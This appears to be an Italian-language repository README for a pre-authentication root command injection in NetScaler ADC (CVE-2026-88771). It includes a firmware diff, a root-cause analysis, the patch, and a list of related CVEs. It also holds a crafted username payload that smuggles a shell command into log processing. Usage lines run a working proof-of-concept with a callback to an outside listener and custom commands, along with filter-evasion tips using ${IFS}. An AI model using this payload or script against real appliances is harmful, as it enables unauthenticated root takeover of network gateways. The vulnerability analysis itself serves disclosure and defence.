
Analisi del diff del firmware, resoconto della causa radice e PoC funzionante per l'iniezione di comandi non autenticata in NetScaler ADC (CVE-2026-88771) che porta all'esecuzione come root.
Esecuzione arbitraria di comandi non autenticata (come root) in Citrix ADC (NetScaler) 14.1-66.59 e 14.1-72.61. Corretto in 14.1-73.37 (e 13.1-64.23). CVSS 9.5, interessa le distribuzioni predefinite, non richiede funzionalità aggiuntive.
Questo repository contiene l'analisi del diff del firmware, le evidenze estratte della vulnerabilità e un proof-of-concept funzionante.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — vedi poc/README.mdUn tentativo di login amministrativo non autenticato fallito viene registrato in /var/log/ns.log
con il nome utente controllato dall'attaccante. Il worker di telemetria root
abilitato per impostazione predefinita (admautoregd, fornito nel mastools_scripts.tgz esterno del firmware)
esegue periodicamente /netscaler/ns_monuploadd_err.pl -WR. Nelle build
vulnerabili quel ramo convoglia le righe di log corrispondenti attraverso un ampio grep | sed | awk
e interpola il risultato senza virgolette in un comando shell:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
Un username craftato come pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died
sopravvive alla pipeline come token shell NSPPE-00;id>/tmp/pwned;#-unexpectedly,
così il sink backtick esegue find ... -name NSPPE-00, poi id>/tmp/pwned (root),
poi un commento #.
POST non autenticato
a /nitro/v1/config/login
(evidence/gui-72.61/admin_ui/nitro/nitro.php);
il controller di login del browser inoltra username/password verbatim
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128 per lo username — nessuna allowlist di caratteri
(decompilazione in analysis/nsppe_api_login_799b90.c)./var/log/ns.log come
CMD_EXECUTED con lo username nel record (decompilazione del formatter:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup, root), e alla sua prima probe
più ogni 24 h esegue CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'
tramite subprocess.Popen
(evidence/mastools-72.61/scripts/admautoreg/constant.py).-WR di ns_monuploadd_err.pl interpola il
token derivato dal log senza quoting in un comando backtick — esecuzione di comandi come
root, prima di qualsiasi controllo sull'esistenza del core-file.Entrambe le metà sono state corrette insieme:
ns_monuploadd_err.pl sostituisce la pipeline con una regex Perl rigorosa
(solo NSPPE-\d{2} + PID numerico) e invoca find tramite open '-|' in forma di lista
(nessuna shell) — vedi
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd è rimosso: CHECK_PE_FAILURE_CMD,
_check_disk_pe_failure(), get_pe_failure_info() sono tutti spariti dal
pacchetto mastools 73.37 — confronta
evidence/mastools-72.61/ vs
evidence/mastools-73.37/.CVE-2026-88771 è una di otto CVE nel bollettino coordinato Citrix. Secondo il bollettino e il write-up pubblico di watchTowr, l'insieme e la sua disposizione sono:
| CVE | Descrizione | CVSS 4.0 | Sfruttata in the wild |
|---|---|---|---|
| CVE-2026-88771 | Command injection pre-auth (questo repo) — configurazione predefinita | 9.5 Critical | Sì |
| CVE-2026-88772 | Memory overflow (RCE/DoS) quando DTLS è abilitato — predefinito per i vServer VPN | 9.5 Critical | Sì |
| CVE-2026-88773 | HTTP request smuggling — dipendente dalla configurazione | 9.3 Critical | No |
| CVE-2026-88774 | Dipendente dalla configurazione | 7.0 High | No |
| CVE-2026-88775 | Memory overflow — dipendente dalla configurazione | 8.8 High | No |
| CVE-2026-88776 | Memory overflow — dipendente dalla configurazione | 8.8 High | No |
| CVE-2026-88777 | Memory overflow — dipendente dalla configurazione | 8.8 High | No |
| CVE-2026-88778 | ISN prevedibile — corretto abilitando Enhanced ISN Generation, non solo con l'aggiornamento | 8.8 High | No |
Release corrette secondo il bollettino (non solo le coppie 14.1 / 13.1 sopra):
Solo test autorizzati. Il lato remoto è un singolo POST HTTPS non autenticato;
il comando iniettato viene eseguito successivamente come root, quando il worker di
telemetria esegue la sua successiva verifica PE-failure a 24 h (riavviare l'appliance, o
riavviare admautoregd, la forza).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
Atteso HTTP 401 — il login fallito è esattamente ciò che scrive la riga di audit.
Poi sull'appliance (o attendendo fino a 24 h) attiva il worker:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
Verifica l'esecuzione come root: ls -l /tmp/cve88771_ef60f0de46d9 dovrebbe mostrare
root:wheel.
Applica le stesse regole sul payload: un comando contenente uno spazio letterale, (, ), ?,
o & viene rifiutato prima dell'invio (exit 2). Usa ${IFS} per gli spazi.